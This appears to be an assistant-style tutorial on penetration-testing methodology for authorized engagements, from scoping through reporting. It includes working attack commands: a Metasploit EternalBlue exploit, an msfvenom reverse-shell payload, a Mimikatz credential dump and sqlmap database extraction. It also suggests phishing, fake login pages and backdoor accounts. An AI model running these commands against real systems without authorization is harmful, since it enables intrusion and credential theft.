Here’s a step-by-step plan to execute a successful penetration test using industry-standard methodologies (e.g., PTES , OSSTMM , or NIST SP 800-115 ):

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1. Planning & Scoping

Objective :

Define the scope , goals , and rules of engagement .

Steps :

1. Engagement Agreement :
   • Scope : IP ranges, systems, and applications to test.
   • Rules of Engagement : Timeframe, legal compliance, and disclosure rules.
   • Objectives : Identify vulnerabilities, test defenses, or validate security controls.
2. Legal Authorization :
   • Obtain written approval from the client.
   • Ensure compliance with laws (e.g., GDPR, HIPAA).
3. Tools & Resources :
   • List tools (e.g., Nmap, Metasploit, Wireshark).
   • Assign roles (e.g., lead tester, report writer).

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2. Reconnaissance (Passive & Active)

Objective :

Gather information about the target to identify potential entry points.

Steps :

1. Passive Reconnaissance :
   • Use OSINT (Open-Source Intelligence) :
     • Maltego : Map relationships (domains, IPs, employees).
     • theHarvester : Gather emails, subdomains, and employee info.
       • theharvester -d target.com -l 500 -b all
   • Search Engines : Google dorks (e.g., site:target.com filetype:pdf).
   • Social Media : LinkedIn, Twitter for employee info.
2. Active Reconnaissance :
   • Network Scanning :
     • nmap -sV -T4 -p- 192.168.1.100 # Full scan with service detection
   • Port Scanning :
     • nmap -p- -sS 192.168.1.0/24 # Stealthy SYN scan
   • Service Enumeration :
     • FTP : ftp 192.168.1.100
     • Web Apps : curl http://target.com/robots.txt
     • SMB : smbclient -L //192.168.1.100

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3. Vulnerability Scanning & Analysis

Objective :

Identify vulnerabilities in the target environment.

Steps :

1. Network Scanning :
   • Nmap NSE Scripts :
     • nmap –script=vuln 192.168.1.100 # Run vulnerability scripts
   • Masscan : Rapid port scanning for large networks.
2. Vulnerability Scanners :
   • Nessus : Comprehensive vulnerability assessment.
   • OpenVAS : Free alternative for CVE-based scanning.
3. Web Application Scanning :
   • OWASP ZAP : Automated web app vulnerability scanning.
   • sqlmap : Test for SQL injection.
     • sqlmap -u “http://target.com/login.php?user=admin” –dbs
4. Manual Analysis :
   • Review scan results for false positives/negatives.
   • Prioritize critical vulnerabilities (e.g., unpatched exploits).

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4. Exploitation

Objective :

Exploit vulnerabilities to gain access or compromise systems.

Steps :

1. Exploit Frameworks :
   • Metasploit :
     • msfconsole
     • search exploit/windows/smb/ms17_010_eternalblue # Example exploit
     • use exploit/windows/smb/ms17_010_eternalblue
     • set RHOSTS 192.168.1.100
     • exploit
   • Exploit-DB : Manual exploit development (https://www.exploit-db.com/ ).
2. Common Exploits :
   • Unpatched Services : Exploit outdated software (e.g., Apache, SMB).
   • SQL Injection : Use sqlmap to gain database access.
   • Buffer Overflow : Use msfvenom to create custom payloads.
     • msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > payload.exe
3. Social Engineering :
   • Use SET (Social-Engineer Toolkit) to craft phishing emails.
   • Deploy fake login pages to capture credentials.

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5. Post-Exploitation

Objective :

Maintain access, escalate privileges, and move laterally.

Steps :

1. Maintain Access :
   • Meterpreter :
     • meterpreter > sysinfo # Get system info
     • meterpreter > shell # Get a shell
   • Backdoors : Add a user or modify system files.
2. Privilege Escalation :
   • Linux : Use LinEnum or LinPEAS to find misconfigurations.
     • ./LinEnum.sh -u
   • Windows : Use Mimikatz to dump credentials.
     • mimikatz.exe “privilege::debug””sekurlsa::logonpasswords”exit
3. Lateral Movement :
   • Use Meterpreter or SSH to move across the network.
   • Exploit Powershell Remoting or RDP for Windows targets.

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6. Reporting

Objective :

Document findings and provide actionable recommendations.

Steps :

1. Structure the Report :
   • Executive Summary : High-level risks and impact.
   • Technical Details : Vulnerabilities, exploits used, and evidence.
   • Remediation : Steps to fix vulnerabilities (e.g., patching, configuration changes).
2. Tools for Reporting :
   • Markdown/LaTeX : Write technical reports.
   • Burp Suite : Export web app scan results.
   • Metasploit Reports : Use msfconsole’s reporting features.
3. Example Findings :
   • Critical : Unpatched EternalBlue vulnerability (CVE-2017-0144).
   • High : SQL injection in login form.
   • Medium : Weak passwords in employee credentials.

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7. Remediation & Follow-Up

Objective :

Ensure vulnerabilities are fixed and retest the environment.

Steps :

1. Client Collaboration :
   • Provide a remediation timeline and patch validation.
2. Retesting :
   • Re-scan or retest fixed vulnerabilities.
   • Use Nmap or Nessus to confirm fixes.
3. Documentation :
   • Archive all logs, commands, and screenshots for future reference.

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8. Best Practices

Key Principles :

1. Authorization : Always obtain written permission.
2. Minimize Impact : Avoid DoS attacks or data corruption.
3. Documentation : Log every step (commands, errors, and findings).
4. Use VMs : Test in a controlled environment (e.g., Metasploitable VM).
5. Stay Updated : Follow CVE databases (e.g., CVE Details ).

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Example Workflow

1. Reconnaissance :
   • Use theHarvester to gather subdomains of target.com.
   • Scan with Nmap to find open ports (e.g., 80, 443, 22).
2. Exploitation :
   • Use sqlmap to exploit SQLi in http://target.com/login.php.
   • Exploit a known SMB vulnerability with Metasploit .
3. Post-Exploitation :
   • Use Meterpreter to escalate privileges and move laterally.
4. Reporting :
   • Document the SQLi exploit, SMB vulnerability, and privilege escalation steps.

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Quick Reference Table

Phase	Tool	Command/Usage
Reconnaissance	theHarvester	theharvester -d target.com -l 500 -b all
Scanning	Nmap	nmap -sV -T4 -p- 192.168.1.100
Exploitation	Metasploit	msfconsole; use exploit/windows/smb/ms17_010_eternalblue
Post-Exploitation	Meterpreter	meterpreter > sysinfo
Web Scanning	sqlmap	sqlmap -u "http://target.com/login.php?user=admin" --dbs
Wireless Cracking	Aircrack-ng	aircrack-ng -w wordlist.txt capfile.cap

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Resources for Mastery

• Certifications :
  • OSCP (Offensive Security Certified Professional) : Practical pentesting.
  • CEH (Certified Ethical Hacker) : Broad vulnerability assessment.
• Practice Platforms :
  • Hack The Box (Real-world scenarios).
  • TryHackMe (Guided labs).
  • OverTheWire (CTF challenges).

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Final Tips

• Stay Updated : Follow CVE databases and security blogs.
• Automate : Write scripts for repetitive tasks (e.g., Nmap scans).
• Join Communities : Engage with forums like Offensive Security or Reddit’s r/penetrationtesting .

By following this methodology and leveraging Kali Linux’s tools, you can systematically identify and exploit vulnerabilities while maintaining ethical standards. 🔍💻